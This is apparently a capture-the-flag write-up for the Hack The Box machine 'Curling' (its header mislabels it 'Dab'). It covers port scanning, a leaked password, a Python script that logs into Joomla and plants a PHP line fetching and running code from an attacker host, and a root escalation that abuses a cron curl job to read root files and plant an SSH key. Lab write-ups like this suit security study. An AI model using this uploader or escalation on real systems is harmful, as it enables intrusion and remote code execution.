Writeup: Hack The Box - Machines - Curling

Description

  • Name: Dab
  • IP: 10.10.10.150
  • Author: L4mpje
  • Difficulty: 3.3/10

Discovery

nmap -sV -sC -Pn -p 1-65535 -T5 --min-rate 1000 --max-retries 5 10.10.10.150

1
2
3
4
5
6
7
8
9
10
11
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
| 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Pwn

You already have the latest Joomla version, 3.8.8.

The website is running the latest version of Joomla but we saw a secret.txt HTML comment in the source code and that Floris is a site writer.

From http://10.10.10.150/secret.txt we got a base64 string: Q3VybGluZzIwMTgh that decoded is: Curling2018!.

With floris:Curling2018! we can now login in the Joomla control panel.

We can also use a webshell uploader to trigger the web_devlivery metasploit module:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3
# joomla_shellup.py - small script to upload shell in Joomla
import requests
import sys
import re

target = sys.argv[1]
print('[+] Checking: ' + str(target))

# initGET
session = requests.session()
initlink = target + '/administrator/index.php'

initsend = session.get(initlink)
initresp = initsend.text

find_token = re.compile('[a-fA-F0-9]{32}')
found_token = re.findall(find_token, initresp)

if found_token:
initToken = found_token[-1]
print('[+] Found init token: ' + initToken)
print('[+] Preparing login request')
data_login = {
'username': 'floris',
'passwd': 'Curling2018!',
'lang': '',
'option': 'com_login',
'task': 'login',
'return': 'aW5kZXgucGhw',
initToken: '1'
}
data_link = initlink
doLogin = session.post(data_link, data=data_login)
loginResp = doLogin.text

uplink = target + '/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA%3D'
filename = 'jsstrings.php'
print('[+] File to change: ' + str(filename))

getnewtoken = session.get(uplink)
getresptoken = getnewtoken.text
newToken = re.compile('[a-fA-F0-9]{32}')
newFound = re.findall(newToken, getresptoken)

if newFound:
newOneTok = newFound[-1]
print('[+] Grabbing new token from logged-in user: ' + newOneTok)

getjs = target + '/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA%3D'
getjsreq = session.get(getjs)
getjsresp = getjsreq.text

print('[+] Shellname: ' + filename)
shlink = target + '/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA='
shdata_up = {
'jform[source]':
"<?php eval(file_get_contents('http://10.10.XX.XX:8080/dodometer'));",
'task':
'template.apply',
newOneTok:
'1',
'jform[extension_id]':
'503',
'jform[filename]':
'/' + filename
}
shreq = session.post(shlink, data=shdata_up)
path2shell = '/templates/beez3/jsstrings.php?x=id'
print('[+] Shell is ready to use: ' + str(path2shell))
print('[+] Checking:')
shreq = session.get(target + path2shell)

print('\n[+] Module finished.')

We got a session as www-data data and to read the first flag we need to escalate di floris user. In /home/floris we got a password_backup file which is the hexdump of a bzip archive (BZ magic bytes).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
00000000: 425a 6839 3141 5926 5359 819b bb48 0000  BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P.
000000f0: 819b bb48 ...H

Using xxd we got the original compressed file: xxd -r pb.hex > pb.bzip2

pb.zip: bzip2 compressed data, block size = 900k

After some extractions (4) we got password.txt containing: 5d<wdCbdZu)|hChXll. Using this password we can now connect to SSH as floris.

In the home directory of Floris there is a admin-area folder with two file.

The input file is just a url directive and report is the curl/wget of the specified URL.

Using pspy, uploaded on the machine using python -m http.server 80 and wget, we saw that every 2 2 minutes a root process is running:

We can edit the input file to print the content of the root.txt file using url = "file:///root/root.txt".

After a while we got the root flag.

It is possible to get a root shell using the same technique:

  1. Create a public/private key with ssh-keygen -f foo
  2. Edit the input file as follow to upload the public key for root user login
1
2
url = "file:///tmp/.dodo/foo.pub"
output = "/root/.ssh/authorized_keys"
  1. Wait for the root process to execute the curl command
  2. SSH as root using the private key